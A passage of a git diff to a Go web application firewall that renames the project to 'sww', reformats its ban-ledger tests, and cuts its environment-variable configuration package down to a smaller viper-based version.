want the permanent ban", + ban, + banned, + ) } ban, banned, _ = ledger.Check(client, now) if !banned || !ban.Permanent() { - t.Errorf("the client is refused: %t, under %+v, want under the permanent ban", - banned, ban) + t.Errorf( + "the client is refused: %t, under %+v, want under the permanent ban", + banned, + ban, + ) } // A limit broken now makes no shorter ban over the permanent one. ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { - t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+ - "want the permanent ban and 2", ban, len(ledger.Bans(netblock))) + t.Errorf( + "a broken limit returned %+v and left the netblock %d bans, "+ + "want the permanent ban and 2", + ban, + len(ledger.Bans(netblock)), + ) } } func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { t.Parallel() - // A 9-hour ban smallwebwaf made, the third in a row, and an admin's + // A 9-hour ban sww made, the third in a row, and an admin's // 1-hour ban added to bans.json over it, with no cause and no notes. netblock := netip.MustParsePrefix("203.0.113.9/32") nineHours := bans.Ban{ @@ -189,13 +230,17 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { Expires: midnight().Add(2 * time.Hour), } - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{nineHours, admins}) // Once both have ended, a limit broken within the repeat window bans // for three times the 9 hours, and the notes count the two bans // before the 9-hour one and it, for a limit, and the admin's. - ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) + ban, _ := ledger.BanForLimit( + netblock, + nineHours.Expires.Add(time.Hour), + bans.Notes{}, + ) if ban.Expires.Sub(ban.Start) != 27*time.Hour || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { t.Errorf("the next ban lasts %s with earlier bans %+v, "+ @@ -219,14 +264,17 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { Cause: bans.CauseLimit, } - rules := defaultRules() - rules.MaxBans = 1 - ledger := bans.New(rules) + params := defaultParams() + params.MaxBans = 1 + ledger := bans.New(params) ledger.Load([]bans.Ban{later, earlier}) held := ledger.Snapshot() if len(held) != 1 || !reflect.DeepEqual(held[0], later) { - t.Errorf("the ledger holds %+v, want only the ban that began later", held) + t.Errorf( + "the ledger holds %+v, want only the ban that began later", + held, + ) } } @@ -235,9 +283,9 @@ func TestLoadReplacesTheBansHeld(t *testing.T) { // Room for three bans, so that the second load, were it added to the // two bans held, would drop none of them to make room. - rules := defaultRules() - rules.MaxBans = 3 - ledger := bans.New(rules) + params := defaultParams() + params.MaxBans = 3 + ledger := bans.New(params) kept := bans.Ban{ Netblock: netip.MustParsePrefix("2001:db8::/64"), Start: midnight(), @@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) { // bans.json is taken in, that ban is lifted. ledger.Load([]bans.Ban{kept}) - _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight()) + _, banned, _ := ledger.Check( + netip.MustParseAddr("203.0.113.9"), + midnight(), + ) if banned { t.Error("a ban left out of the second load still refuses") } // The ledger holds one ban, so it makes two more without dropping any. - first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), - bans.Notes{}) - second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(), - bans.Notes{}) + first, _ := ledger.BanForLimit( + netip.MustParsePrefix("198.51.100.7/32"), + midnight(), + bans.Notes{}, + ) + second, _ := ledger.BanForLimit( + netip.MustParsePrefix("198.51.100.8/32"), + midnight(), + bans.Notes{}, + ) want := []bans.Ban{first, second, kept} if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { @@ -285,7 +342,7 @@ func TestLoadCutsTheTextsTo256Bytes(t *testing.T) { }}, } - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{ban}) cut := long[:256] diff --git a/internal/config/config.go b/internal/config/config.go index 22fb33f..f85a00e 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -1,629 +1,88 @@ -// Package config reads smallwebwaf's settings, and is the one place they are -// read. Every setting is an environment variable. The settings of `smallwebwaf -// servewaf` start with SWWAF_, every one of them has a default, and most can be -// given as a file instead. Those of `smallwebwaf rproxy` start with SWRP_. Each -// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file, -// since rproxy never touches disk. SMALLWEBWAF_COMMAND chooses which of the two -// the image runs. +// Package config reads sww's settings, and is the one place they are +// read. Every setting is an environment variable. The settings of `sww +// waf` start with SWW_WAF_, every one of them has a default, and most can be +// given as a file instead. Those of `sww rproxy` start with SWW_RPROXY_. Each +// of them but SWW_RPROXY_WAF_BACKEND has a default, and each can be given as a file +// too. SWW_COMMAND chooses which of the two the image runs. package config import ( - "crypto/x509" "errors" "fmt" "log/slog" "math" "net" - "net/http" "net/netip" - "net/url" "os" - "path/filepath" - "slices" "strconv" "strings" "time" - "unicode" - "unicode/utf8" - "sneak.berlin/go/smallwebwaf/internal/alerts" - "sneak.berlin/go/smallwebwaf/internal/anomaly" - "sneak.berlin/go/smallwebwaf/internal/remotelog" + "github.com/spf13/viper" ) -// Config is the settings of `smallwebwaf servewaf`. A time or size limit of -// zero is off. -type Config struct { - // ListenAddr is where servewaf listens (SWWAF_LISTEN_ADDR). - ListenAddr string - // InstanceName is the name every log line and alert gives as instance, - // and every metric carries as its label instance (SWWAF_INSTANCE_NAME), - // by default the host's name, which docker sets to the first 12 - // characters of the container's id. - InstanceName string - // Observe is true in observe mode, when SWWAF_MODE is observe rather - // than enforce: a request that SWWAF_DENY_NETS, a ban, the country - // lists, a rate limit, a rule or the Core Rule Set would refuse is - // allowed instead, and no ban is made. - Observe bool - // IPv6GroupPrefix is the length of the IPv6 netblock that is one client - // (SWWAF_IPV6_GROUP_PREFIX), from 32 to 128. - IPv6GroupPrefix int - // MaxTrackedClients is the most clients the table of clients holds, in - // memory and in clients.json (SWWAF_MAX_TRACKED_CLIENTS). - MaxTrackedClients int - // AllowNets are the netblocks whose clients skip every check - // (SWWAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the - // rate limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_NETS). - // DenyNets are those whose clients are always refused - // (SWWAF_DENY_NETS). - AllowNets []netip.Prefix - RateLimitExemptNets []netip.Prefix - DenyNets []netip.Prefix - // RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the - // most requests a client may make in a minute, an hour and a day - // (SWWAF_RATE_LIMIT_PER_MINUTE, SWWAF_RATE_LIMIT_PER_HOUR and - // SWWAF_RATE_LIMIT_PER_DAY). - RateLimitPerMinute int64 - RateLimitPerHour int64 - RateLimitPerDay int64 - // RateLimitExemptPaths are the path prefixes whose requests the rate - // limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_PATHS). - // Each starts with /. - RateLimitExemptPaths []string - // BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the - // most bytes a client's requests may carry in a minute, an hour and a - // day (SWWAF_BYTES_LIMIT_PER_MINUTE, SWWAF_BYTES_LIMIT_PER_HOUR and - // SWWAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count - // toward them (SWWAF_BYTES_COUNT): response, request or both. - BytesLimitPerMinute int64 - BytesLimitPerHour int64 - BytesLimitPerDay int64 - BytesCount string - // LookupSource is where each client's AS number and country are - // looked up (SWWAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. - // LookupDBPath is the lookup database, the IPinfo Lite file looked up - // in while LookupSource is file (SWWAF_LOOKUP_DB_PATH), and "" for any - // other source. A request waits up to LookupTimeout for its client's - // first answer from GeoJS while a setting needs it - // (SWWAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true - // when the app is passed the client's AS number and country in headers - // (SWWAF_ADD_LOOKUP_HEADERS). - LookupSource string - LookupDBPath string - LookupTimeout time.Duration - AddLookupHeaders bool - // DeniedCountries are the countries whose clients are refused - // (SWWAF_DENIED_COUNTRIES). ExclusivelyAllowedCountries, when not - // empty, are the only countries whose clients are let through - // (SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES). Both hold two-letter codes in - // capitals, as GeoJS gives them. - DeniedCountries []string - ExclusivelyAllowedCountries []string - // The biased thresholds. ASNLimitPercent and CountryLimitPercent give - // the clients of the AS numbers and the countries they list that - // percentage of every rate limit and byte limit - // (SWWAF_ASN_LIMIT_PERCENT and SWWAF_COUNTRY_LIMIT_PERCENT). - // ASNBytesPercent and CountryBytesPercent give those they list a - // percentage of the byte limits in place of that one - // (SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT). Each holds - // percentages from 0 to 100, by AS number, written as AS64496, or by - // country, a two-letter code in capitals, as the lookup gives them. - // UnknownLimitPercent is the percentage of every limit a client without - // a country gets (SWWAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is - // where a file of AS:percent lines is fetched from, whose percentages - // count as those of ASNLimitPercent do (SWWAF_ASN_LIMIT_PERCENT_URL), "" - // while it is unset. - ASNLimitPercent map[string]int64 - CountryLimitPercent map[string]int64 - ASNBytesPercent map[string]int64 - CountryBytesPercent map[string]int64 - UnknownLimitPercent int64 - ASNLimitPercentURL string - // BlocklistURLs are where the blocklists are fetched from - // (SWWAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is - // fetched again BlocklistRefresh after it was last fetched or tried - // (SWWAF_BLOCKLIST_REFRESH), which is never less than an hour. - // BlocklistAction is what is done with a client a blocklist lists - // (SWWAF_BLOCKLIST_ACTION): deny, limit or log; for limit, - // BlocklistLimitPercent is the percentage of every limit it gets. - BlocklistURLs []string - BlocklistRefresh time.Duration - BlocklistAction string - BlocklistLimitPercent int64 - // DNSBLZones are the DNSBL zones clients are asked about - // (SWWAF_DNSBL_ZONES), through DNSBLResolver (SWWAF_DNSBL_RESOLVER), or - // the host's resolver while that is the zero AddrPort. - // AbuseIPDBKey is the key of the AbuseIPDB account clients are checked - // with (SWWAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score - // of AbuseIPDBMinScore or more is a hit (SWWAF_ABUSEIPDB_MIN_SCORE), and - // at most AbuseIPDBDailyBudget checks are made a day - // (SWWAF_ABUSEIPDB_DAILY_BUDGET). - // ReputationAction is what is done with a client a zone's verdict lists, - // or whose score is a hit (SWWAF_REPUTATION_ACTION): deny, limit or log; - // for limit, ReputationLimitPercent is the percentage of every limit it - // gets. A verdict or a score is used for ReputationCacheTTL after it was - // fetched (SWWAF_REPUTATION_CACHE_TTL), and a query or a check may take - // ReputationTimeout (SWWAF_REPUTATION_TIMEOUT). Neither can be off. - DNSBLZones []string - DNSBLResolver netip.AddrPort - AbuseIPDBKey string - AbuseIPDBMinScore int64 - AbuseIPDBDailyBudget int - ReputationAction string - ReputationLimitPercent int64 - ReputationCacheTTL time.Duration - ReputationTimeout time.Duration - // CrowdSecDecisionsURL is where the decision list of the CrowdSec - // engine whose local API SWWAF_CROWDSEC_LAPI_URL names is fetched from: - // that URL with v1/decisions added to its path, "" while it is unset and - // none is. CrowdSecKey is the key the engine is asked with - // (SWWAF_CROWDSEC_LAPI_KEY). - CrowdSecDecisionsURL string - CrowdSecKey string - // BanResponse is the status a refused client is answered with, 403 - // or 429, or 0 to close the connection without an answer - // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that - // breaks a rate limit or matches a ban rule, SWWAF_DENY_NETS and the - // country lists. - BanResponse int - // LimitBanDuration is the ban for a first broken rate limit - // (SWWAF_LIMIT_BAN_DURATION). A limit broken again within - // LimitBanRepeatWindow after the last ban ended bans for three times - // as long as that ban (SWWAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that - // would be longer than MaxBanDuration is permanent instead - // (SWWAF_MAX_BAN_DURATION). None of them can be off. - LimitBanDuration time.Duration - LimitBanRepeatWindow time.Duration - MaxBanDuration time.Duration - // AttackBanDuration is the ban for a first clear sign of attack - // (SWWAF_ATTACK_BAN_DURATION). It cannot be off. - AttackBanDuration time.Duration - // MaxBans is the most bans held (SWWAF_MAX_BANS). - MaxBans int - // BanScopeV4Prefix is the length of the netblock around an IPv4 - // client that a ban covers (SWWAF_BAN_SCOPE_V4_PREFIX). - BanScopeV4Prefix int - // StateDir is the directory of the state files, an absolute path - // (SWWAF_STATE_DIR). bans.json is written StateWriteDelay after a ban - // is made (SWWAF_STATE_WRITE_DELAY), and every state file every - // StateCounterInterval (SWWAF_STATE_COUNTER_INTERVAL). Neither can be - // off. - StateDir string - StateWriteDelay time.Duration - StateCounterInterval time.Duration - // LogRequestHeaders are the request headers whose values the request - // log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS). - LogRequestHeaders []string - // LogLevel is the least severe of the process's own messages that are - // written (SWWAF_LOG_LEVEL). It holds back no request log line. - LogLevel slog.Level - // AdminToken is the bearer token an admin sends for the ban endpoints - // and /_smallwebwaf/clients/ (SWWAF_ADMIN_TOKEN), "" while it is - // unset and they are off. - AdminToken string - // MetricsToken is the bearer token a scraper sends for the metrics - // (SWWAF_METRICS_TOKEN), "" while it is unset and the metrics are off. - // MetricsTopN is how many AS numbers and how many countries get series - // of their own in the metrics (SWWAF_METRICS_TOP_N). - MetricsToken string - MetricsTopN int - // RulesDir is the directory of the rule files (SWWAF_RULES_DIR), read - // unless RulesEnabled is false (SWWAF_RULES_ENABLED). - RulesDir string - RulesEnabled bool - // WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff, - // WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia - // level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and - // WAFAnomalyThreshold the anomaly score at which a request is a match - // (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules - // are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES), - // WAFExemptPaths the path prefixes it does not inspect - // (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body - // it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none. - WAFMode string - WAFParanoiaLevel int - WAFAnomalyThreshold int - WAFDisabledRules []int - WAFExemptPaths []string - WAFBodyLimit int64 - // TrapPaths are the paths a request for which is a clear sign of - // attack (SWWAF_TRAP_PATHS), each starting with / and without a ?. - TrapPaths []string - // ErrorBurstThreshold is the most requests of a client within a minute - // that servewaf may refuse after a rule file or Core Rule Set match; one - // more breaks a limit (SWWAF_ERROR_BURST_THRESHOLD). 0 is off. - ErrorBurstThreshold int64 - // LogRemoteURL is where every line on stdout is also sent - // (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. - // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's - // certificate must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil while - // it is unset and the host's own are used. LogRemoteBuffer is the most - // lines held while they wait to be sent (SWWAF_LOG_REMOTE_BUFFER). - // LogRemoteFacility is the number of the syslog facility - // (SWWAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME - // (SWWAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records - // the lines are sent in. - LogRemoteURL *url.URL - LogRemoteTLSCAs *x509.CertPool - LogRemoteBuffer int - LogRemoteFacility int - LogRemoteAppName string - // AlertWebhookURL is where each alert is posted as JSON - // (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders - // are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS). - // AlertSlackWebhookURL is the Slack incoming webhook each alert is - // posted to as a message (SWWAF_ALERT_SLACK_WEBHOOK_URL), and - // AlertNtfyURL the ntfy topic each is published to - // (SWWAF_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken, - // unless empty, is sent to ntfy with each (SWWAF_ALERT_NTFY_TOKEN). - // With none of the three URLs set, no alert is sent. AlertEvents are - // the events alerts are sent for (SWWAF_ALERT_EVENTS). A repeat of an - // alert within AlertCooldown is held back (SWWAF_ALERT_COOLDOWN), and - // so is an alert past AlertMaxPerHour in an hour, for the hour's - // summary (SWWAF_ALERT_MAX_PER_HOUR); 0 is off for both. - AlertWebhookURL *url.URL - AlertWebhookHeaders http.Header - AlertSlackWebhookURL *url.URL - AlertNtfyURL *url.URL - AlertNtfyToken string - AlertEvents []string - AlertCooldown time.Duration - AlertMaxPerHour int - // The anomaly thresholds, which only raise alerts: the most requests - // and bytes a minute and an hour per client (SWWAF_ANOMALY_CLIENT_*), - // per netblock around a client (SWWAF_ANOMALY_NET_*), per AS number - // (SWWAF_ANOMALY_ASN_*), for the whole service (SWWAF_ANOMALY_TOTAL_*) - // and per named netblock (SWWAF_WATCH_*), each 0 while it is off. - // AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the - // netblock around a client (SWWAF_ANOMALY_NET_V4_PREFIX and - // SWWAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks - // (SWWAF_WATCH_NETS). - AnomalyClient anomaly.Thresholds - AnomalyNet anomaly.Thresholds - AnomalyASN anomaly.Thresholds - AnomalyTotal anomaly.Thresholds - AnomalyWatch anomaly.Thresholds - AnomalyNetV4Prefix int - AnomalyNetV6Prefix int - WatchNets []anomaly.NamedNetblock - - // settings are the values read, as given or by default, and the - // files they were read from, for the log line at start. - settings []slog.Attr -} - // off is the value that switches a timeout, a size limit or a rate limit // off. const off = "off" -// The values of SWWAF_WAF_MODE. const ( - // WAFModeOff runs no request through the Core Rule Set. - WAFModeOff = off - // WAFModeDetect logs and alerts a match, and refuses nothing. - WAFModeDetect = "detect" - // WAFModeBlock refuses a match with 403. - WAFModeBlock = "block" -) - -// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the -// lookup database, the file SWWAF_LOOKUP_DB_PATH names. -const fileSource = "file" - -const ( - day = 24 * time.Hour kibibyte = 1 << 10 mebibyte = 1 << 20 gibibyte = 1 << 30 - ipv4Bits = 32 - ipv6Bits = 128 - // minIPv6GroupPrefix is the shortest SWWAF_IPV6_GROUP_PREFIX, the - // netblock a provider is usually given: a shorter one would make one - // client of the customers of several providers. - minIPv6GroupPrefix = 32 - // minTokenLength is the fewest characters a token may have. - minTokenLength = 32 - // maxParanoiaLevel is the Core Rule Set's highest paranoia level. - maxParanoiaLevel = 4 - // firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set - // keeps for the rules that set it up, which smallwebwaf's own rules - // have too (see internal/waf). Switching one off would undo a change - // that no setting undoes. - firstSetupRuleID = 900000 - lastSetupRuleID = 900999 - // masked is what the log shows for a token that is set, and in place of - // a secret in another setting. - masked = "********" - // defaultListenAddr is the default of SWWAF_LISTEN_ADDR and - // SWRP_LISTEN_ADDR, and defaultUpstreamURL that of SWRP_UPSTREAM_URL. - defaultListenAddr = ":8080" - defaultUpstreamURL = "http://127.0.0.1:8081" + // defaultListenAddr is the default of SWW_WAF_LISTEN_ADDR and + // SWW_RPROXY_LISTEN_ADDR. + defaultListenAddr = ":8080" ) var ( - errNotDuration = errors.New( - "is not a duration such as 90s, 15m or 7d, or off") errNotSize = errors.New( "is not a size such as 512K, 100M or 5G, or off") - errNotCount = errors.New( - "is not a whole number of requests such as 1000, or off") - errNotPositive = errors.New("must be more than zero, or off") + errNotPositive = errors.New("must be more than zero, or off") + errNotMilliseconds = errors.New( + "is not a whole number of milliseconds above zero, such as 2000") errEmptyItem = errors.New("has an empty item in its list") errNotNetblock = errors.New( "is not a netblock such as 10.0.0.0/8, or an address") errNotListenAddr = errors.New( "is not an address to listen on, such as :8080") - errNotUpstreamURL = errors.New( - "is not a URL with only a scheme, a host and an optional port, " + - "such as http://127.0.0.1:8081") - errNotCountry = errors.New( - "is not a two-letter country code such as de or kp") - errNotHeaderName = errors.New( - "is not a header name such as accept-language") - errHeaderTakenOut = errors.New( - "is taken out of every request by Go's HTTP server, so it can never " + - "be logged") - errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") - errNotLookupSource = errors.New("is not geojs, file or off") - errNeedsLookups = errors.New("it needs each client looked up") - errNeedsDBPath = errors.New("it names the file to look clients up in") - errDBPathUnused = errors.New("only file reads it") - errOver64K = errors.New( - "is more than 64K, the most servewaf gets of a body") - errNotCommand = errors.New("is not rproxy or servewaf") - errNotDurationAboveZero = errors.New( - "is not a duration above zero, such as 1h or 7d") - errNotNumberAboveZero = errors.New( - "is not a whole number above zero, such as 5000") - errNotBanResponse = errors.New("is not 403, 429 or close") - errNotV4Prefix = errors.New( - "is not the length of an IPv4 netblock, from 0 to 32, such as 24") - errNotV6Prefix = errors.New( - "is not the length of an IPv6 netblock, from 0 to 128, such as 48") - errNotIPv6GroupPrefix = errors.New( - "is not the length of an IPv6 netblock, from 32 to 128, such as 64") - errNotLogLevel = errors.New("is not debug, info, warn or error") - errNotNamedNetblock = errors.New( - "is not a name, = and a netblock, such as office=203.0.113.0/24") - errNotAbsolutePath = errors.New( - "is not an absolute path, such as /var/lib/smallwebwaf") - errShortToken = errors.New("is shorter than 32 characters") - errNotMode = errors.New("is not enforce or observe") - errNotBytesCount = errors.New("is not response, request or both") - errNotPathPrefix = errors.New( - "is not a path prefix starting with /, such as /assets/") - errNotTrapPath = errors.New( - "is not a path starting with / and without a ?, such as /wp-login.php") - errNotWAFMode = errors.New("is not off, detect or block") - errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") - errNotRuleID = errors.New( - "is not the id of a Core Rule Set rule, a whole number such as 942100") - errSetupRuleID = errors.New( - "is from 900000 to 900999, the ids of the rules that set the Core Rule Set " + - "up and of smallwebwaf's own, which cannot be switched off") - errNotBoolean = errors.New("is not true or false") - errNotLogRemoteURL = errors.New( - "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + - "and nothing more, such as syslog+tls://logs.example:6514") - errNoCertificate = errors.New("holds no PEM certificate") - errNotFacility = errors.New("is not a syslog facility such as local0 or daemon") - errNotAppName = errors.New( - "is not 1 to 48 printable ASCII characters without a space, such as gitea") - errSetTwice = errors.New("set only one of them") - errNotWebhookURL = errors.New( - "is not an http or https URL without a user or a fragment, " + - "such as https://alerts.example/smallwebwaf") - errNotWebhookHeader = errors.New( - "is not a header name followed by : and the header's value, " + - "such as Authorization:Bearer ") - errControlCharacter = errors.New( - "holds a control character, such as the carriage return of a Windows line end") - errNotAlertEvent = errors.New( - "is not ban, permanent_ban, waf_block, anomaly, reputation_hit, " + - "source_failure or file_error") - errNotNumberOrOff = errors.New("is not a whole number above zero, such as 60, or off") - errNotUTF8 = errors.New("is not valid UTF-8") - errNotASN = errors.New("is not an AS number such as AS64496") - errNotPercentItem = errors.New( - "is not a code, : and a percentage, such as AS64496:50 or cn:25") - errNotPercent = errors.New("is not a percentage, a whole number from 0 to 100") - errListedTwice = errors.New("is listed twice") - errNotListURL = errors.New( - "is not an http or https URL without a user or a fragment, " + - "such as https://www.spamhaus.org/drop/drop.txt") - errInBlocklistURLs = errors.New("is in SWWAF_BLOCKLIST_URLS too") - errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h") - errNotAction = errors.New( - "is not deny, limit: such as limit:25, or log") - errNotZone = errors.New("is not a DNS zone such as dnsbl.dronebl.org") - errZoneTooLong = errors.New("is longer than 189 characters, too long for the " + - "names IPv6 clients are asked about by") - errNotResolver = errors.New("is not an IP address with an optional port, " + - "such as 192.0.2.53 or [2001:db8::53]:5353") - errNotLAPIURL = errors.New( - "is not an http or https URL without a user or a fragment, " + - "such as http://172.17.0.1:8080") - errNeedsLAPIKey = errors.New("the engine answers no request without it") - errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL") - errAnotherList = errors.New( - "is in SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too") + errNotCommand = errors.New("is not rproxy or waf") + errSetTwice = errors.New("set only one of them") ) -// FromEnvironment reads the settings with lookupEnv, normally -// os.LookupEnv. A setting may instead be given as a file: the variable -// named by the setting's name with _FILE added names the file, which is -// read now (see lookup). A setting that is not set takes its default. A -// setting that is set but invalid is an error that names it. -// -//nolint:funlen // one line for each setting, a list that grows with them -func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { - env := &environment{lookupEnv: lookupEnv} - cfg := &Config{ - ListenAddr: env.address("SWWAF_LISTEN_ADDR"), - InstanceName: env.instanceName(), - Observe: env.observe("SWWAF_MODE", "enforce"), - IPv6GroupPrefix: env.ipv6GroupPrefix("SWWAF_IPV6_GROUP_PREFIX", "64"), - MaxTrackedClients: env.numberNotOff("SWWAF_MAX_TRACKED_CLIENTS", "20000"), - AllowNets: env.netblocks("SWWAF_ALLOW_NETS", ""), - RateLimitExemptNets: env.netblocks("SWWAF_RATE_LIMIT_EXEMPT_NETS", ""), - DenyNets: env.netblocks("SWWAF_DENY_NETS", ""), - RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "120"), - RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "1500"), - RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "6000"), - RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""), - BytesLimitPerMinute: env.size("SWWAF_BYTES_LIMIT_PER_MINUTE", "off"), - BytesLimitPerHour: env.size("SWWAF_BYTES_LIMIT_PER_HOUR", "50G"), - BytesLimitPerDay: env.size("SWWAF_BYTES_LIMIT_PER_DAY", "100G"), - BytesCount: env.bytesCount("SWWAF_BYTES_COUNT", "both"), - LookupSource: env.lookupSource("SWWAF_LOOKUP_SOURCE", "geojs"), - LookupDBPath: env.value("SWWAF_LOOKUP_DB_PATH", ""), - LookupTimeout: env.durationNotOff("SWWAF_LOOKUP_TIMEOUT", "800ms"), - AddLookupHeaders: env.boolean("SWWAF_ADD_LOOKUP_HEADERS", "false"), - DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), - ExclusivelyAllowedCountries: env.countries( - "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), - ASNLimitPercent: env.percents("SWWAF_ASN_LIMIT_PERCENT", ParseASN), - CountryLimitPercent: env.percents("SWWAF_COUNTRY_LIMIT_PERCENT", parseCountry), - ASNBytesPercent: env.percents("SWWAF_ASN_BYTES_PERCENT", ParseASN), - CountryBytesPercent: env.percents("SWWAF_COUNTRY_BYTES_PERCENT", parseCountry), - UnknownLimitPercent: env.percent("SWWAF_UNKNOWN_LIMIT_PERCENT", "100"), - ASNLimitPercentURL: env.listURL("SWWAF_ASN_LIMIT_PERCENT_URL"), - BlocklistURLs: env.listURLs("SWWAF_BLOCKLIST_URLS"), - BlocklistRefresh: env.refresh("SWWAF_BLOCKLIST_REFRESH", "24h"), - DNSBLZones: env.zones("SWWAF_DNSBL_ZONES"), - DNSBLResolver: env.resolver("SWWAF_DNSBL_RESOLVER"), - AbuseIPDBKey: env.secret("SWWAF_ABUSEIPDB_KEY"), - AbuseIPDBMinScore: env.percent("SWWAF_ABUSEIPDB_MIN_SCORE", "75"), - AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"), - ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"), - ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"), - CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWWAF_CROWDSEC_LAPI_URL"), - CrowdSecKey: env.secret("SWWAF_CROWDSEC_LAPI_KEY"), - BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), - LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), - LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), - MaxBanDuration: env.durationNotOff("SWWAF_MAX_BAN_DURATION", "7d"), - AttackBanDuration: env.durationNotOff("SWWAF_ATTACK_BAN_DURATION", "7d"), - MaxBans: env.numberNotOff("SWWAF_MAX_BANS", "5000"), - BanScopeV4Prefix: env.v4Prefix("SWWAF_BAN_SCOPE_V4_PREFIX", "32"), - StateDir: env.absolutePath("SWWAF_STATE_DIR", "/var/lib/smallwebwaf"), - StateWriteDelay: env.durationNotOff("SWWAF_STATE_WRITE_DELAY", "10s"), - StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), - LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", - "accept,accept-language,accept-encoding,content-type,origin,range"), - LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"), - AdminToken: env.token("SWWAF_ADMIN_TOKEN"), - MetricsToken: env.token("SWWAF_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), - RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), - RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), - WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock), - WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"), - WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"), - WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES", - "920340,920420,920440,920640,930130,930140"), - WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""), - WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off), - TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"), - ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"), - LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), - LogRemoteTLSCAs: 